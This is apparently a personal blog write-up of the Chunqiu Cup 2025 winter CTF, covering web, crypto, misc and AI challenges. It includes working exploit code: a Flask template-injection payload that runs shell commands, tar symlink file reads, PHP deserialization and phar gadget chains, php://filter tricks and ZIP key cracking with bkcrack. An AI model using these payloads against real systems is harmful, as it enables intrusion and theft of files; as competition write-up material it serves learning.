春秋杯冬季赛2025

本文最后更新于 2025年1月19日 晚上

Web

easy_flask

模板注入无waf

1
{{x.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

或者fenjing也可以

1

file_copy

yakit抓包尝试报错看到用的是copy函数,filter的漏洞利用

2

gotar

分析一下源码,想到了软链接,通过指向得到flag

tar软链接读取

1
2
ln -s /flag flag
tar cf 1.tar ../../flag

访问

/assets/extracted/flag

easy_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class STU{
public $stu;
}
class SDU{
public $Dazhuan;
}
class CTF{
public $hackman;
public $filename='orange.php';
}
$exp=new SDU();
$exp->Dazhuan=new STU;
$exp->Dazhuan->stu=new CTF;
$exp->Dazhuan->stu->hackman='PD89YGNhdCAvZmxhZ2A7';
echo urlencode(serialize($exp));

b0okshelf(浮现)

首先dirsearch扫一下,有backup.zip,代码主要看update.php和data.php

1
2
3
4
5
6
7
8
9
10
#update.php
file_put_contents('books/' . $book->id . '.info', waf(serialize($book)));
$book->reader->setContent($_POST['content']);
}

function waf($data)
{
return str_replace("'", "\\'", $data);
}

可以写入内容,有字符串逃逸,看一下给的info内容

1
O:4:"Book":5:{s:2:"id";s:13:"67710e145d826";s:5:"title";s:24:"SQL注入攻击与防御";s:6:"author";s:44:"Justin,Clarke 著,施宏斌,叶愫 译";s:7:"summary";s:147:"理解、发现、利用和防御日益增长的SQL注入攻击的有力武器,适用于SQLServer、Oracle、MySQL、PostgreSQL等主流数据库";s:6:"reader";O:6:"Reader":1:{s:16:" Reader location";s:23:"books/67710e145d826.txt";}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

class Book {
public $id;
public $title;
public $author;
public $summary;
public $reader;
}

class Reader
{
public function getLocation()
{
return $this->location;
}
public function __construct($location)
{
$this->location = $location;
}
private $location;
public function getContent()
{
return file_get_contents($this->location);
}
public function setContent($content)
{
file_put_contents($this->location, $content);
}


}

$exp=new Book();
$exp->id='123';
$exp->title='123';
$exp->author='123';
$parta='";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partb='Reader';
$partc='location";s:10:"update.php";}};';
$payload=$parta."\x00".$partb."\x00".$partc;
#print($payload);
$len=strlen($payload);
print("[+]length:".$len."\n");
$exp->summary=str_repeat('\'', $len) . $payload;//逃逸
$exp->reader=new Reader('books/' . 'qqq');
function waf($data)
{
return str_replace("'", "\\'", $data);
}
echo "[+] Summary: ";
echo urlencode($exp->summary);
$result=waf(serialize($exp));
echo "\n[+] Serialized payload: ";
echo base64_encode($result);
echo "\n";
$newBook = unserialize($result);
echo "[+] Location: ";
echo $newBook->reader->getLocation();

传入summary,然后给content写入🐎可以拿到shell,不会了,就到这吧。

easy_php

原题并且有非预期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Chunqiu
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}

$Chunqiu = new Chunqiu();
$show = new Show();
$test = new Test();
$test->params['source'] = "/flag";
$Chunqiu->str = $show;
$show->str['str'] = $test;

$phar = new Phar("3xp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($Chunqiu);
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>

easy_code

在gogogo.php里有内容

1
2
?ctfer=%0a6.6699999999999999999999e2
&file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php

%0a绕过第二层,第三层用科学计数法,cookie:pass=admin

最后filter去往上找找相关的替换一下就行

crypto

你是小哈斯?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib

def read_hashes(filename):
with open(filename, 'r') as f:
return [line.strip() for line in f if line.strip()]

def check_common_inputs(hash_value):
common_inputs = list(range(10)) + list('abcdefghijklmnopqrstuvwxyz_{}')
for input_val in common_inputs:
test_hash = hashlib.sha1(str(input_val).encode()).hexdigest()
if test_hash == hash_value:
return str(input_val)
return None

def main():
filename = '题目内容.txt'
hashes = read_hashes(filename)

result = []

for line_num, hash_val in enumerate(hashes, 1):
print(f"第{line_num}行 哈希值: {hash_val}")
# 尝试找到可能的原始输入
original = check_common_inputs(hash_val)
if original:
result.append(original)
else:
result.append("?")

print("\n拼接后的结果:")
print("".join(result))

if __name__ == "__main__":
main()

通往哈希的旅程

hashcat爆破

3

funny_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import long_to_bytes
import gmpy2


funny1 = -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479

e = 65537
n = (funny3 + 1025) // funny2

for i in range(-1025,1025):
funny1=funny1+i
p_plus_q = funny1 + n
p_minus_q = gmpy2.isqrt(p_plus_q * p_plus_q - 4 * n)
p = (p_plus_q + p_minus_q) // 2
q = (p_plus_q - p_minus_q) // 2
if(p*q==n):
print(f"p = {p},\nq = {q}")
break
phi = (p-1) * (q-1)
d = pow(e, -1, phi)
hint_val = pow(funny4, d, n)
hint = long_to_bytes(hint_val)
print(f"Hint = {hint}")
m_val = funny2 // hint_val
m = long_to_bytes(m_val)
print(f"m = {m}")
x=5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
print(long_to_bytes(x))

Misc

简单算术

4

压力大,写个脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import os
import zipfile
import base64


def extract_zip(zip_file, password, extract_to):
"""解密并解压ZIP文件"""
with zipfile.ZipFile(zip_file) as zip_ref:
zip_ref.setpassword(password.encode())
zip_ref.extractall(extract_to)
return extract_to


def base64_decode(file_path):
"""从文件读取base64编码并解码"""
with open(file_path, 'r') as f:
encoded_data = f.read()
return base64.b64decode(encoded_data)


def process_zip_file(zip_file, password_file, current_depth, passwords):
"""处理当前ZIP文件,解压并递归"""
print(f"正在处理第{current_depth}层的zip文件: {zip_file}")

# 读取密码文件
password = base64_decode(password_file).decode()

# 解压当前ZIP文件
base_extract_dir = "extracted_files"
os.makedirs(base_extract_dir, exist_ok=True)

try:
extract_dir = os.path.join(base_extract_dir, f"{current_depth}")
os.makedirs(extract_dir, exist_ok=True)

print(f"使用密码: {password}")
extracted_dir = extract_zip(zip_file, password, extract_dir)

# 将当前密码加入到密码列表
passwords.append(password)

# 获取解压后文件中的下一个ZIP文件
extracted_files = os.listdir(extracted_dir)
next_zip = None
next_password_file = None
for file in extracted_files:
if file.endswith(".zip"):
next_zip = os.path.join(extracted_dir, file)
elif file.endswith(".txt"):
next_password_file = os.path.join(extracted_dir, file)

if next_zip and next_password_file:
print(f"找到下一个zip文件: {next_zip}")
return next_zip, next_password_file
else:
print("没有找到下一个zip文件,结束处理")
return None, None
except Exception as e:
print(f"错误: {e}")
return None, None


def save_passwords(passwords):
"""将密码逆序保存到文件"""
with open("1.txt", "w") as f:
# 写入逆序的密码
for password in reversed(passwords):
f.write(password + "\n")


def main():
zip_file = "zip_99.zip"
password_file = "password_99.txt"
current_depth = 1
passwords = [] # 用来存储密码的列表

while zip_file:
zip_file, password_file = process_zip_file(zip_file, password_file, current_depth, passwords)
current_depth += 1

save_passwords(passwords)


if __name__ == "__main__":
main()

得到二维码,扫一下得到flag

5

See anything in these pics?

6

然后010搜索到8950,提取改宽高

7

Weevil’s Whisper

定位一下shell1.php的源码,是个php混淆,解密一下找到最后一条流量放入解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
import zlib
def xor_decrypt(data, key):
key_len = len(key)
data_len = len(data)
result = bytearray()
for i in range(data_len):
result.append(data[i] ^ ord(key[i % key_len]))
return bytes(result)
k = "161ebd7d"
kh = "45089b3446ee"
kf = "4e0d86dbcf92"
p = "lFDu8RwONqmag5ex"
def decrypt_data(encrypted_data):
try:
start = encrypted_data.index(kh) + len(kh)
end = encrypted_data.index(kf)
payload = encrypted_data[start:end]
decoded = base64.b64decode(payload)
decrypted = xor_decrypt(decoded, k)
try:
decompressed = zlib.decompress(decrypted)
return decompressed.decode('utf-8', errors='ignore')
except:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f"解密失败: {str(e)}"
response_data = "lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92"
print("\n解密后的响应数据:")
print(decrypt_data(response_data))

音频的秘密

wav的deepsound的密码弱密码,答案是123,然后进行bkcrack的明文爆破

1
echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
1
2
3
4
5
6
7
8
9
10
11
C:\Users\0raN9e\Desktop\tools\Misc\bkcrack-1.7.1-win64>bkcrack -C flag.zip -c flag.png -p png_header -o 0
bkcrack 1.7.1 - 2024-12-21
[17:28:54] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[17:28:54] Attack on 734325 Z values at index 6
Keys: 29d29517 0fa535a9 abc67696
19.6 % (144275 / 734325)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 144275
[17:29:16] Keys
29d29517 0fa535a9 abc67696
1
2
3
4
C:\Users\0raN9e\Desktop\tools\Misc\bkcrack-1.7.1-win64>bkcrack -C flag.zip -k 29d29517 0fa535a9 abc67696 -D 2.zip
bkcrack 1.7.1 - 2024-12-21
[17:32:23] Writing decrypted archive 2.zip
100.0 % (1 / 1)

steg看一下

8

ai

backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import numpy as np
import base64
import requests
from PIL import Image
import io


def generate_backdoor_pattern(target_label):
mask = np.zeros((32, 32, 3))
pattern = np.zeros((32, 32, 3))

positions = [(0, 0), (0, 29), (29, 0), (29, 29)]
colors = [
[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0],
[1.0, 1.0, 0.0], [1.0, 0.0, 1.0], [0.0, 1.0, 1.0]
]
color = colors[target_label % len(colors)]

for y, x in positions:
mask[y:y + 3, x:x + 3] = 1
pattern[y:y + 3, x:x + 3] = color

return mask, pattern


def image_to_base64(img_array):
img_array = np.clip(img_array * 255, 0, 255).astype(np.uint8)
img = Image.fromarray(img_array)
byte_arr = io.BytesIO()
img.save(byte_arr, format='PNG')
return base64.b64encode(byte_arr.getvalue()).decode()


def send_backdoor_request():
url = "http://eci-2ze4zzm6631ishyfxyfn.cloudeci1.ichunqiu.com:5000/upload"

for target_label in range(5, 16):
print(f"[+] 测试标签 {target_label}")
mask, pattern = generate_backdoor_pattern(target_label)

data = {
"mask": image_to_base64(mask),
"pattern": image_to_base64(pattern)
}

try:
response = requests.post(url, json=data)
print(f"[+] 状态码: {response.status_code}")
print(f"[+] 响应: {response.text}")

if response.status_code == 200:
print(f"[+] 成功!找到后门标签: {target_label}")
return
except requests.exceptions.RequestException as e:
print(f"[-] 请求错误: {e}")


if __name__ == "__main__":
send_backdoor_request()

春秋杯冬季赛2025
https://0ran9ewww.github.io/2025/01/19/春秋杯/春秋杯冬季赛2025/
作者
orange
发布于
2025年1月19日
更新于
2025年1月19日
许可协议